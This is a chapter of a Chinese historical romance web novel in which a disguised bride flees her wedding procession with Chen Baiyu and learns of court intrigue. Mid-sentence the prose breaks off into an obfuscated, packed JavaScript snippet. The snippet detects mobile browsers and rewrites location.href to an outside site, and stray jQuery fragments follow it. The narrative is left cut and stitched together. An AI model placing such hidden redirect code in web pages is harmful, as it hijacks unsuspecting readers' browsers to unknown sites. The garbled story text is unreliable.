43. 第 43 章

    马蹄声,人声乐声都逐渐远去。


    凝神细听,耳边只余几个轿夫沉重的脚步声。


    纪景佳收起手中的玉竹,撩起红盖头令它挂在头顶的金冠上,想要看看外面的情况。


    心头又想起嬷嬷教的规矩,这盖头还没揭的时候,外人是不可以见的,再加上这物件只能由夫婿来揭,否则不吉利。


    手指搭在窗上又落了下去,转到了内衫的袖口上,指尖触到尖锐的银针才堪堪冷静下来。


    这才刚出了城门不久,父亲的人肯定在暗处跟着,怎么着也不会任她在自己眼皮子底下出事。


    轿子稳稳前行。


    周遭幽静,仿佛这天地间就只有她们几人了。


    指尖越捏越紧,呼吸渐凝,双目死死盯着轿门。


    突然间,轿子猛地往下沉了一瞬,紧接着停了下来,纪景佳手腕一转,闪着寒光的银针夹在了指缝之间。


    遮得密密实实的帘子边缘探进来一截红漆色的细圆棍,这圆棍沿着缝隙上挑,纪景佳手中的银针从缝隙中甩了出去。


    圆棍瞬间抽了回去,“笃笃”接连几声闷响。


    帘子一开一合间灌进来些许清风,风把熟悉的香味递到了她跟前。


    紧绷的身子松懈了下来,这才觉得后背有些黏腻。


    是内衫被汗打湿,紧紧扒在皮肤上,有些痒。


    圆滚换了一头再次探了进来,上头坠着吉祥如意结,底端的红穗轻晃,这回她认得了。


    这物件乃是秤杆,新婚之时新郎官可作挑盖头之用。


    称乃一斤六两,十六颗星,接南斗六星,北斗七星,外加福禄寿三星,共十六之数,取一个“吉星合利,大吉大利”之意。


    既是专程备了有用之物,纪景佳把挂在金冠上的盖头放了下来。


    帘子随即被掀开,香味扑鼻而来,她捏了捏指腹,轻微的疼痛暂且压下了忍不住翘起来的嘴角。


    “你们先去找她们汇合吧。”他一根根取下扎进秤杆的银针,仔细收在了手心里。


    “是!”


    秤杆挑起盖头一角,慢慢向上掀起,外面泄进来的日光一寸寸铺满了她的面庞。


    伊人眼含秋水地看了过来,秤杆顿了一下,下一瞬挑飞了盖头,陈白榆倾身覆了过来,虚虚挡住她的眼睛,“别这么看我。”


    求你,别这么看我。


    压得太狠,触底反弹的疯狂冲动支配着他,已经做了一回又一回令她伤心的事。


    昨日也是。


    昨夜离开之后,通身燥热难耐,着人取了些冰酒来饮,命令一道道从他口中传出,那些指令连他自己都觉得荒唐的过分。


    陈白榆的手顺着脊背下滑,蹭过纪景佳的胳膊停在了她的腕边,卷起一点袖口,银针一一别进了袖袋。


    纪景佳没着没落的心踏实了下来,也许是清风微凉,也许是骄阳甚明,也许是眼前这个人没有在她所期盼的那时候出现,在这一瞬间她突然就钻出了那个牛角尖。


    就算昨日不是一场意外又如何,也根本就改变不了什么。


    她伸手推拒了一下,“为何要带我来此?不是要先去城外的驿站吗?”


    “是要去驿站,”陈白榆卷舌打了个口哨,“不过不是与迎亲队一起。”


    不多时,流星跑了过来,在轿子门前踢了踢前腿。


    “可曾带它去见过我小师叔?他经常念叨,很是想念流星,若是得空,去见见他吧,”见陈白榆从马背上取了个包袱递进来,问道:“这是什么?”


    “待有机会吧,会带流星去见见他的,”陈白榆捋了捋流星的鬃毛,“你这一身太引人瞩目了,可不能让人知晓明王的新婚夫人半道跟一个男子跑了,迎亲队他们带着你的嫁妆目标太大,世道正乱必定要走官道,逢驿站就要停。”


    稍后又补了一句:“他们走得太慢了,我不能在此地久留。”


    包袱里是一身与陈白榆身上相同制式的男装,就是版样小了些。


    纪景佳闻言有些诧异,她的身份就摆在这,不可能只带些常人就远赴西秦,就算有人动心想要劫道也要掂量掂量,眉头微蹙,问道:“路上可是有什么危险?”


    “这衣衫是照你的体型所成,小衣压在下面,也一应俱全,”陈白榆方才摸到了,她的后背潮热,闭目背过了身去好让她换衣裳,开口慢慢说与她听。


    “原先倒还好,这世间等级森严,一个无权无视身份还一直被诟病的王爷,与一个他国丞相并无血缘的义女,两相结合根本就搅不出来多大水花,所以关注这场联姻的人并不多。”


    “不过现在可不同了,现下你这夫君势头正盛,这婚事自然有人不想让它成。你父亲今日又伤了张远述,张有志从来不是个大方的人,他这庶子虽然是个不成器的,但他头上到底顶着张家公子的名头,这回到底是张家有错在先,明面上他不能如何,耍些阴招还是能的。”


    身后传来布料悉悉索索的摩擦声,陈白榆闭了闭眼,喉结滚了滚,掐了下手心这才开口继续说。


    “秦不疑他本身也是草寇出身,打心底里还是讲些旧时的江湖义气,当年他起兵之时那几处大些的流匪盘踞之地都与他行过些方便,只是那几个当家不喜官场的尔虞我诈,这才推了封赏。现在他们顶着当年的那点恩惠更为嚣张,当地的父母官亦是不敢惹,百姓过的水深火热,他虽早已不满,但现在正忙着收网,根本无暇顾及这些小打小闹......”


    心中的欲/念不停叫嚣着催促他转身,脖颈几条筋脉隐隐绷紧,口中再也吐不出一个字。


    纪景佳往一侧推了推脱下来的喜服,周遭宽敞了一些,探手伸进了单衣袖子,两手捏着衣领往上一拉,柔滑的布料覆住了裸露的肌肤,衣襟交叠盖住了被小衣包裹的隆起软山。


    这些当年的旧闻她从未听过,正听得入神,那头不说了,手中系着衣带不耽误她口中催了催:“然后呢?”想了想还是褪下了腕上的金镯,放在了一边。


    “然后,”陈白榆双


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865588|169597||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手攥得死紧,骨节都泛起了白,干涩地问:“你可知秦君行有两位舅父师从鹤老将军?”


    轿门关着,内里小小的一片天地,香味渐浓。


    纪景佳闻到了,方才宽衣时刚消下去的热意,又重新开始偷偷冒头。她轻轻摇了摇头,心里暗自叹息,面上扯了扯唇角,唇角噙着苦笑说:“知道一些。”


    虽然无法摆脱这牵绊,但她不想再被蛊惑了心神,捏了根银针扎在了腕间上方几寸的郗门穴上。


    手阙阴心包经,乃是经络中气血深聚之处,扎之,她这样亏底子的人最是疼痛难忍。


    抬眼看了看坐在身前的陈白榆,看到了他后颈滑落的汗珠,眼前也滑过了自己睫毛上滴落的那一颗。


    “鹤老将军,他一生刚正不阿,精忠报国,有勇有谋还存有仁慈之心,又遇明主赏识,自当鞠躬尽瘁死而后已,将领做到他那个份上,真乃是人生无憾!他门下之人众多,身担要职之人也不在少数,但秦不疑上位之后很快就寻了由头接连罢免,一干人等皆郁郁不得志。”


    “如今秦君行认祖归宗并主动入了军营,因着他舅父在世之时的同门同袍之谊,想要拜得名师自然是水到渠成。他刚入军营少不得要挨些刁难,但他有数位名师在侧,只带了几百人就剿了朔阳一带作威作福的悍匪,解了百姓之苦,在那一带的百姓心中恍若天降神明一般。”


    “以前的各家并不在乎民心民意,只当他们是不知名一条浅溪中的小鱼,生在边边角角,能保的一口水喝就是人生之大幸了。但自从那位上去之后,这才知晓水能载舟亦能覆舟并不是一句空话,”


    陈白榆实在太过难挨,忍不住抬手撩开了帘子,大户呼吸着外面清凉的空气,哑声道:“你夫君......”


    这几字他说得尤为艰涩,额头青筋都爆了出来。


    “他如此一招得手,隐隐有了些当年秦不疑的影子,你纪家又以富庶名闻天下,那些人自然是坐不住的,”他抬手敲了敲轿子,“这海珠如此稀有,你父亲在一顶轿子上就用了数千,只这一件,就是无价之宝了。”


    纪景佳转眸看了一圈轿子,无比认同他的说法,默不作声地穿好外袍,小心地开始拆头顶上的凤冠。


    她从没有戴过如此多的装饰之物,更是从未见过,根本不得其法,腕间扎着的银针也有些碍事。


    摸索着取下了几个发簪一一摆好,双手沿着发髻一点点地摸索,又取出了几个藏在发间的金夹,以为这就没有了,指尖捏住金冠的边就往下取——


    “嘶——”几缕发丝死死夹在缝隙里,她这一拽,头皮生疼。


    “怎么了?”陈白榆正闭目吐息,听见声响回身一看,赶忙捉住了她的手,另一手托住了取到一半的金冠,低声说:“先松手,我来看看。”


    陈白榆的手捏在了银针下缘一点,疼痛更甚,纪景佳没忍住低“啊”了一声,身子挣动了一下。


    陈白榆瞄过去一眼,顺手取下了那根针。


    “别!”